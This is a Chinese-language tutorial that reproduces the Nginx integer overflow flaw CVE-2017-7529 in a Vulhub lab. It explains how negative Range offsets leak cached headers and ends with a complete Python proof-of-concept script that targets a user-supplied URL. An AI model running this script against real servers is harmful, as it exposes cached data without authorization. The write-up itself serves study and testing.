Nginx整数溢出漏洞(CVE-2017-7529)
1. 环境搭建
1.1 Vulhub靶机搭建
1.1.1 环境安装
(1)安装docker。
$ curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
(2)安装Docker-Compose
$ pip install docker-compose
# 如果没有pip需要先安装
$ yum -y install epel-release
$ yum -y install python-pip
$ pip --version # 查看pip版本
(3)安装Vulhub
$ git clone https://github.com/vulhub/vulhub.git
# 如果没有Git需要先安装
$ yum install -y git
1.1.2 靶场使用
1.输入systemctl start docker 启动docker
2.输入systemctl status docker 查看docker状态
3.选择对应靶场进入,这里我们选择nginx下的CVE-2017-7529靶场
4.输入docker-compose up -d 启动靶场环境(启动过一次了,我这边直接启动容器即可)
5.成功访问
2.漏洞复现
2.1 影响版本
- 影响版本 Nginx 0.5.6 – 1.13.2
2.2 漏洞原理
Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。
如果构造了两个负的位置,将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
Range
是一个请求首部,告知服务器返回文件的哪一部分。在一个 Range
首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 206 Partial Content 状态码。假如所请求的范围不合法,那么服务器会返回 416 Range Not Satisfiable 状态码,表示客户端错误。服务器允许忽略 Range
首部,从而返回整个文件,状态码用 200。
2.3 漏洞复现
首先计算正常响应内容的长度
#获取正常响应的返回长度
#verify=False防止ssl证书校验,allow_redirects=False,防止跳转导致误报的出现
r1 = requests.get(url,headers=headers,verify=False,allow_redirects=False)
url_len = len(r1.content)
输出正常的响应内容的数据长度是612,此时将数据长度加大,大于正常的数据长度
# 将数据长度加长,大于返回的正常长度
addnum = 200
final_len = url_len + addnum
此时构造Range请求头,使用带Range请求头的请求来对目标服务器发送请求包
Range请求头,请求两个负的位置,一个为大于正常的长度,一个为0x8000000000000000-之前算的大于正常的长度
# 构造Range请求头,并加进headers中
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",
'Range':"bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
}
# 用构造的新的headers发送请求包,并输出结果
r2 = requests.get(url, headers=headers,verify=False,allow_redirects=False)
text = r2.text
code = r2.status_code
此时输出的结果,不光包含界面,还同时输出了响应包主体,会存在一定的敏感信息泄漏
3.POC
import requests
import time
import urllib3
def cve20177529():
try:
# 构造请求头
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36"
}
url = input('请输入目标URL:')
# 获取正常响应的返回长度
#verify=False防止ssl证书校验,allow_redirects=False,防止跳转导致误报的出现
r1 = requests.get(url,headers=headers,verify=False,allow_redirects=False)
url_len = len(r1.content)
# 将数据长度加长,大于返回的正常长度
addnum = 200
final_len = url_len + addnum
# 构造Range请求头,并加进headers中
# headers['Range'] = "bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",
'Range':"bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
}
# 用构造的新的headers发送请求包,并输出结果
r2 = requests.get(url, headers=headers,verify=False,allow_redirects=False)
text = r2.text
code = r2.status_code
if ('ETag') in text and code == 206:
print('存在Nginx整数溢出漏洞(CVE-2017-7529),已输出到cve20177529_log.txt')
# 将结果输出到文本上
with open('cve20177529_log.txt','a',encoding="utf-8") as f:
f.write('存在Nginx整数溢出漏洞(CVE-2017-7529)-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text)
f.close
else:
print('未检测到漏洞')
# 将结果输出到文本上
with open('cve20177529_log.txt','a',encoding="utf-8") as f:
f.write('未检测到漏洞-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text)
f.close
except Exception as result:
print(result)
if __name__ == "__main__":
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
cve20177529()